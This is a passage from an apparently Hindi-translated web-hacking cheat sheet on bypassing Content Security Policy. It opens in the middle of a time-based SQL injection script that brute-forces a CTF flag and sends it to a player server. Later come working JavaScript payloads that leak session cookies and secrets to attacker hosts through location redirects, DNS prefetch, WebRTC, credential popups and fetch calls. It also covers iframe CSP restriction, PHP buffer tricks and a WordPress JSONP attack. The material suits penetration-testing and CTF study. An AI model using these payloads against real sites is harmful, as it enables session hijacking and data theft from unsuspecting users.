x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है। यह बुकमार्कलेट दुष्ट जावास्क्रिप्ट कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, CSP को बायपास करते हुए और संवेदनशील जानकारी जैसे कि कुकीज़ या टोकन चुराने की अनुमति देगा।

अधिक जानकारी के लिए यहाँ मूल रिपोर्ट देखें।

CSP bypass by restricting CSP

इस CTF लेखन में, CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, प्रोटोटाइप प्रदूषण या DOM क्लॉबरिंग के माध्यम से एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है।

आप csp विशेषता के साथ एक Iframe का CSP प्रतिबंधित कर सकते हैं:

<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

इस CTF लेख में, HTML injection के माध्यम से CSP को अधिक restrict करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए vulnerability exploitable हो गई।
CSP को HTML meta tags का उपयोग करके अधिक restrictive बनाया जा सकता है और inline scripts को removing करके entry को निष्क्रिय किया जा सकता है, जिससे उनके nonce की अनुमति मिलती है और sha के माध्यम से विशिष्ट inline स्क्रिप्ट को सक्षम किया जा सकता है:

<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

यदि आप सर्वर को Content-Security-Policy-Report-Only हेडर के साथ आपके द्वारा नियंत्रित मान के साथ प्रतिक्रिया देने में सफल होते हैं (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर इंगित कर सकते हैं और यदि आप JS सामग्री को <script> के साथ लपेटते हैं और क्योंकि CSP द्वारा unsafe-inline की अनुमति नहीं है, तो यह CSP त्रुटि को प्रेरित करेगा और स्क्रिप्ट का एक भाग (संवेदनशील जानकारी वाला) Content-Security-Policy-Report-Only से सर्वर पर भेजा जाएगा।

उदाहरण के लिए इस CTF लेख को देखें.

CVE-2020-6519

document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

CSP और Iframe के साथ जानकारी लीक करना

• एक iframe बनाया जाता है जो एक URL की ओर इशारा करता है (चलो इसे https://example.redirect.com कहते हैं) जिसे CSP द्वारा अनुमति दी गई है।
• यह URL फिर एक गुप्त URL (जैसे, https://usersecret.example2.com) की ओर रीडायरेक्ट करता है जो CSP द्वारा अनुमति नहीं दी गई है।
• securitypolicyviolation इवेंट को सुनकर, कोई blockedURI प्रॉपर्टी को कैप्चर कर सकता है। यह प्रॉपर्टी ब्लॉक किए गए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL द्वारा रीडायरेक्ट किए गए गुप्त डोमेन का लीक होना होता है।

यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।

एक और तकनीक CSP का लाभ उठाकर गुप्त सबडोमेन का अनुमान लगाने में शामिल है। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशेष डोमेन को शामिल करने के लिए समायोजित करती है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।

दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करती हैं कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।

यहाँ से ट्रिक।

CSP को बायपास करने के लिए असुरक्षित तकनीकें

बहुत सारे पैरामीटर होने पर PHP त्रुटियाँ

इस वीडियो में टिप्पणी की गई अंतिम तकनीक के अनुसार, बहुत सारे पैरामीटर (1001 GET पैरामीटर, हालांकि आप इसे POST पैरामीटर और 20 से अधिक फ़ाइलों के साथ भी कर सकते हैं) भेजना। PHP वेब कोड में कोई भी परिभाषित header() नहीं भेजा जाएगा क्योंकि यह त्रुटि उत्पन्न करेगा।

PHP प्रतिक्रिया बफर ओवरलोड

PHP को डिफ़ॉल्ट रूप से 4096 बाइट्स तक प्रतिक्रिया को बफरिंग करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो चेतावनियों के अंदर पर्याप्त डेटा प्रदान करके, प्रतिक्रिया CSP हेडर से पहले भेजी जाएगी, जिससे हेडर को अनदेखा किया जाएगा।
फिर, तकनीक मूल रूप से चेतावनियों के साथ प्रतिक्रिया बफर को भरने में है ताकि CSP हेडर न भेजा जाए।

इस लेखन से विचार।

त्रुटि पृष्ठ को फिर से लिखें

इस लेखन से ऐसा लगता है कि एक त्रुटि पृष्ठ (संभावित रूप से CSP के बिना) लोड करके और इसकी सामग्री को फिर से लिखकर CSP सुरक्षा को बायपास करना संभव था।

a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) एक पृष्ठ के अंत बिंदु में का दुरुपयोग करती है ताकि एक ही मूल के अन्य अंत बिंदुओं का दुरुपयोग किया जा सके। यह एक हमलावर पृष्ठ से कमजोर अंत बिंदु को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक अंत बिंदु पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह कमजोर अंत बिंदु opener ऑब्जेक्ट का उपयोग कर सकता है पेलोड में DOM तक पहुँचने के लिए वास्तविक अंत बिंदु का दुरुपयोग करने के लिए। अधिक जानकारी के लिए देखें:

SOME - Same Origin Method Execution

इसके अलावा, wordpress में /wp-json/wp/v2/users/1?_jsonp=data पर एक JSONP अंत बिंदु है जो आउटपुट में भेजे गए डेटा को प्रतिबिंबित करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।

एक हमलावर उस अंत बिंदु का दुरुपयोग करके WordPress के खिलाफ एक SOME हमले को जनरेट कर सकता है और इसे <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> के अंदर एंबेड कर सकता है, ध्यान दें कि यह स्क्रिप्ट लोड होगी क्योंकि यह 'self' द्वारा अनुमति दी गई है। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर कमजोर callback अंत बिंदु के माध्यम से SOME हमले का दुरुपयोग कर सकता है जो CSP को बायपास करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

यदि एक सख्त CSP है जो आपको बाहरी सर्वरों के साथ बातचीत करने की अनुमति नहीं देती है, तो कुछ चीजें हैं जो आप हमेशा जानकारी को एक्सफिल्ट्रेट करने के लिए कर सकते हैं।

Location

आप बस स्थान को अपडेट कर सकते हैं ताकि हमलावर के सर्वर पर गुप्त जानकारी भेजी जा सके:

var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)

<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

पृष्ठों को तेजी से लोड करने के लिए, ब्राउज़र होस्टनाम को आईपी पते में पूर्व-समाधान करने और उन्हें बाद में उपयोग के लिए कैश करने जा रहे हैं।
आप एक ब्राउज़र को एक होस्टनाम को पूर्व-समाधान करने के लिए संकेत दे सकते हैं: <link rel="dns-prefetch" href="something.com">

आप इस व्यवहार का दुरुपयोग करके DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को एक्सफिल्ट्रेट कर सकते हैं:

var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

एक और तरीका:

const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

इससे बचने के लिए सर्वर HTTP हेडर भेज सकता है:

X-DNS-Prefetch-Control: off

WebRTC

कई पृष्ठों पर आप पढ़ सकते हैं कि WebRTC CSP की connect-src नीति की जांच नहीं करता है।

वास्तव में, आप DNS अनुरोध का उपयोग करके जानकारी लीक कर सकते हैं। इस कोड को देखें:

;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

एक और विकल्प:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

क्रेडेंशियल पॉपअप बिना पृष्ठ द्वारा प्रतिबंधित हुए iconURL पर एक DNS अनुरोध भेजता है। यह केवल एक सुरक्षित संदर्भ (HTTPS) या लोकलहोस्ट पर काम करता है।

navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

CSP नीतियों की ऑनलाइन जांच

• https://csp-evaluator.withgoogle.com/
• https://cspvalidator.org/

CSP स्वचालित रूप से बनाना

https://csper.io/docs/generating-content-security-policy

संदर्भ

• https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
• https://lcamtuf.coredump.cx/postxss/
• https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
• https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
• https://www.youtube.com/watch?v=MCyPuOWs3dg
• https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
• https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/

​